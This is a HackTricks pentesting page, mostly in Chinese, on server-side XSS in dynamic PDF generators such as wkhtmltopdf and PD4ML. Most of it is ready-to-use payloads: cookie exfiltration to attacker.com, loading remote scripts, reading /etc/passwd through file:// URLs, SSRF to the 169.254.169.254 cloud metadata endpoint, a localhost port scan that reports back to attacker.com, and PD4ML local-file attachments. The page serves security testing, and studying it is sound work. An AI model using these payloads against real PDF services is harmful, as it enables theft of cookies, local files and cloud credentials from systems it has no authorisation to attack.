Server Side XSS (Dynamic PDF)

支持 HackTricks

服务器端 XSS(动态 PDF)

如果一个网页使用用户控制的输入创建 PDF,你可以尝试欺骗创建 PDF 的机器人使其执行任意 JS 代码。 因此,如果PDF 创建机器人发现某种HTML 标签,它将会解释这些标签,你可以利用这种行为导致服务器 XSS

请注意,<script></script> 标签并不总是有效,因此你需要使用不同的方法来执行 JS(例如,利用 <img)。 另外,请注意,在常规利用中,你将能够查看/下载创建的 PDF,因此你将能够看到你通过 JS 写入的所有内容(例如使用 document.write())。但是,如果你无法查看创建的 PDF,你可能需要通过向你发起网络请求提取信息(盲注)。

常见 PDF 生成

  • wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名,利用 WebKit 渲染引擎。该工具作为开源命令行实用程序可用,适用于广泛的应用。

  • TCPDF 在 PHP 生态系统中提供了强大的 PDF 生成解决方案。它能够处理图像、图形和加密,展示了其创建复杂文档的多功能性。

  • 对于在 Node.js 环境中工作的开发者,PDFKit 提供了一个可行的选择。它允许直接从 HTML 和 CSS 生成 PDF 文档,为网页内容和可打印格式之间提供了桥梁。

  • Java 开发者可能更喜欢 iText,这是一个不仅促进 PDF 创建,还支持数字签名和表单填写等高级功能的库。其全面的功能集使其适合生成安全和互动的文档。

  • FPDF 是另一个 PHP 库,以其简单性和易用性而著称。它旨在为寻求简单 PDF 生成方法的开发者设计,无需复杂的功能。

Payloads

发现

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

任何之前或以下的有效负载都可以在此 SVG 有效负载中使用。一个 iframe 访问 Burpcollab 子域,另一个访问元数据端点,作为示例。

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

您可以在 https://github.com/allanlw/svg-cheatsheet 找到很多 其他 SVG 有效载荷

路径泄露

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

利用此漏洞的最佳方式是利用该漏洞使机器人加载您本地控制的脚本。然后,您将能够在本地更改有效负载,并使机器人每次都加载相同的代码。

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

读取本地文件 / SSRF

file:///etc/passwd 更改为 http://169.254.169.254/latest/user-data 例如 尝试访问外部网页 (SSRF)

如果允许 SSRF,但您 无法访问 有趣的域或 IP,请查看此页面以获取潜在的绕过方法

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

机器人延迟

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

端口扫描

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

这个漏洞可以很容易地转化为 SSRF(因为你可以让脚本加载外部资源)。所以只需尝试利用它(读取一些元数据?)。

Attachments: PD4ML

有一些 HTML 2 PDF 引擎允许 为 PDF 指定附件,例如 PD4ML。你可以利用这个功能 将任何本地文件附加到 PDF。 为了打开附件,我用 Firefox 打开文件并双击回形针符号将附件存储为新文件。 使用 burp 捕获 PDF 响应也应该 在 PDF 中以明文显示附件

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

参考文献

支持 HackTricks

Last updated